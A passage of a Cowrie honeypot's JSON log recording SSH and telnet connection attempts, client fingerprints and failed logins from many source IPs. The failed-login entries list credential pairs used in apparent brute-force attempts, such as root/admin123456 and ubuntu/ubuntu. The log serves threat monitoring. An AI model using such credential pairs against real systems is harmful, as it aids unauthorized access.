.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:57.326376Z","src_ip":"2.57.122.238","session":"3b24f6ecdd3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avalanche","password":"avalanche","message":"login attempt [avalanche/avalanche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:57.645732Z","src_ip":"2.57.122.238","session":"3b24f6ecdd3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:58.751158Z","src_ip":"2.57.122.238","session":"3b24f6ecdd3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":53076,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fb4970c687a","protocol":"ssh","message":"New connection: 190.128.201.18:53076 (159.203.135.109:22) [session: 3fb4970c687a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:16.201528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:16.210161Z","src_ip":"190.128.201.18","session":"3fb4970c687a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:16.347822Z","src_ip":"190.128.201.18","session":"3fb4970c687a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db5","password":"db5","message":"login attempt [db5/db5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:16.928671Z","src_ip":"190.128.201.18","session":"3fb4970c687a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:18.069415Z","src_ip":"190.128.201.18","session":"3fb4970c687a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.04827070236206,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:31.870785Z","src_ip":"172.81.62.90","session":"b765b0075347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0646d83bc15f","protocol":"ssh","message":"New connection: 80.94.92.184:37838 (10.17.0.5:22) [session: 0646d83bc15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:43.877018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:44.051689Z","src_ip":"80.94.92.184","session":"0646d83bc15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:44.057505Z","src_ip":"80.94.92.184","session":"0646d83bc15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:45.878342Z","src_ip":"80.94.92.184","session":"0646d83bc15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:47.796494Z","src_ip":"80.94.92.184","session":"0646d83bc15f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":35488,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b343528a0bb","protocol":"ssh","message":"New connection: 91.211.95.158:35488 (159.203.135.109:22) [session: 1b343528a0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:52.399831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:52.416501Z","src_ip":"91.211.95.158","session":"1b343528a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56158,"dst_ip":"10.17.0.5","dst_port":22,"session":"a977e32bb96a","protocol":"ssh","message":"New connection: 27.71.230.31:56158 (10.17.0.5:22) [session: a977e32bb96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:52.458068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:52.468047Z","src_ip":"27.71.230.31","session":"a977e32bb96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:52.567126Z","src_ip":"91.211.95.158","session":"1b343528a0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:52.715294Z","src_ip":"27.71.230.31","session":"a977e32bb96a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"univ","password":"univ123","message":"login attempt [univ/univ123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:53.213564Z","src_ip":"91.211.95.158","session":"1b343528a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:54.369924Z","src_ip":"91.211.95.158","session":"1b343528a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0912f0840a21","protocol":"telnet","message":"New connection: 128.199.209.169:57712 (159.203.135.109:23) [session: 0912f0840a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:54.615771Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:26:58.888654Z","src_ip":"27.71.230.31","session":"a977e32bb96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:00.184258Z","src_ip":"27.71.230.31","session":"a977e32bb96a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46934,"dst_ip":"159.203.135.109","dst_port":23,"session":"61da1ff16ac7","protocol":"telnet","message":"New connection: 107.6.151.170:46934 (159.203.135.109:23) [session: 61da1ff16ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:01.149805Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":45938,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c39e5db604d","protocol":"telnet","message":"New connection: 103.249.87.183:45938 (159.203.135.109:23) [session: 1c39e5db604d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:03.101993Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":54426,"dst_ip":"159.203.135.109","dst_port":22,"session":"11fa112043e1","protocol":"ssh","message":"New connection: 178.20.210.208:54426 (159.203.135.109:22) [session: 11fa112043e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:03.436346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:03.441158Z","src_ip":"178.20.210.208","session":"11fa112043e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:03.539809Z","src_ip":"178.20.210.208","session":"11fa112043e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vt100","password":"public","message":"login attempt [vt100/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:03.915520Z","src_ip":"178.20.210.208","session":"11fa112043e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:05.014868Z","src_ip":"178.20.210.208","session":"11fa112043e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":53344,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d18255aa13d","protocol":"ssh","message":"New connection: 4.213.224.194:53344 (10.17.0.5:22) [session: 2d18255aa13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:09.206823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:09.210197Z","src_ip":"4.213.224.194","session":"2d18255aa13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:09.413119Z","src_ip":"4.213.224.194","session":"2d18255aa13d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dps","password":"123456","message":"login attempt [dps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:10.236952Z","src_ip":"4.213.224.194","session":"2d18255aa13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:11.436893Z","src_ip":"4.213.224.194","session":"2d18255aa13d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45466,"dst_ip":"10.17.0.5","dst_port":22,"session":"91f71e24f8b8","protocol":"ssh","message":"New connection: 103.122.221.179:45466 (10.17.0.5:22) [session: 91f71e24f8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:36.401730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:36.406612Z","src_ip":"103.122.221.179","session":"91f71e24f8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:36.666145Z","src_ip":"103.122.221.179","session":"91f71e24f8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:37.445042Z","src_ip":"103.122.221.179","session":"91f71e24f8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:38.707445Z","src_ip":"103.122.221.179","session":"91f71e24f8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.03133964538574,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:42.133130Z","src_ip":"103.249.87.183","session":"1c39e5db604d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.880346059799194,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:49.496025Z","src_ip":"128.199.209.169","session":"0912f0840a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":52566,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3a3449b400c","protocol":"ssh","message":"New connection: 123.58.215.196:52566 (10.17.0.5:22) [session: b3a3449b400c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:51.353021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:51.363235Z","src_ip":"123.58.215.196","session":"b3a3449b400c","protocol":"ssh"}
